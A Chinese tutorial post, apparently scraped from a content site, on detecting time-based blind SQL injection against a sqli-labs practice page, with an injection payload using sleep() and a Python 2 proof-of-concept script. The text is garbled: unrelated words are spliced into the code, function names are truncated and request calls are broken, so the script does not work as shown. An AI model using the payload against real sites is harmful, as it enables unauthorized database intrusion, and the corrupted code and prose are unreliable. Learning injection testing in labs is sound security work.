渗透测试之POC基于时间的sql盲注

更新时间:2023-07-01 06:42:23 阅读: 评论:0

渗透测试之POC基于时间的sql盲注
这次写写基于时间的sql盲注。
当整个页⾯没有地⽅显⽰数据的时候,这时候存在sql注⼊,我⽤md5()函数也没有地⽅响应出来。那么执⾏什么函数去证明存在注⼊
呢?sleep()函数,页⾯执⾏了,sleep()函数后,从发请求到完全响应就有⼀个固定的延迟时间。
下⾯来看测试⽹站:
⽆论你ID=多少他都是  you are in .....
基于时间盲注最常见的语句就是  If(ascii(substr(databa(),1,1))>115,0,sleep(5))%23  意思是如果数据库名称的第⼀个字母是ascii编码为⼤于115(即字母s),那么延迟5秒钟。
所以把这个盲注的poc拼接上去我们看看效果
可以看到响应时间为6.59秒,超过我们延迟的5秒。
如果我们直接这样写,那⽹络不好或者本来⽹站很差响应很慢肯定会产⽣⼤量的误报问题。
所以正确是写法是先发⼀次请求,得到⼀个正常的响应时间。
市场营销研究生
initialcatalog然后再poc发⼀次请求,得到⼀个带延迟的响应时间。理论上两个时间差⼤于5秒,实际上在4秒之间,这样才判断存在基于时间的sql盲注,这样误报会降低很多。
SO  开始根据这个思路写⽆框架的POC
#coding:utf-8
import requests
import sys
import time
def verify(url):
target1 = url + "/Less-9/?id=1"
target2 = url + "/Less-9/?id=1%27%20and%20if(ascii(substr(databa(),1,1))>115,%200,%20sleep(5))%20%23"    try:
pulsar#记录正常请求的时间
ogenic
start_time1 = time.time()
盗梦空间 台词
req1 = (target1)
cha
respon1 =
now_time1 = time.time() - start_time1
print now_time1
#记录POC发送的时间
start_time2 = time.time()
出国留学流程
req2 = (target2)
respon2 =
now_time2 = time.time() - start_time2
print now_time2cw电视台
#print respon
#判断响应时间
now_time = now_time2 - now_time1
print now_time
if now_time >= 4:
print "%s is vulnerable" %target2
el:
奥巴马和平奖print "%s is not vulnerable" %target2
except Exception,e:
print ""
print e
def main():
英文广告args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
#print url
verify(url)
el:
print "Usage:python %s url"%(args[0])
if __name__ == '__main__':
main()
测试效果

本文发布于:2023-07-01 06:42:23,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/78/1071672.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:时间   响应   盲注   延迟   思路   存在
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图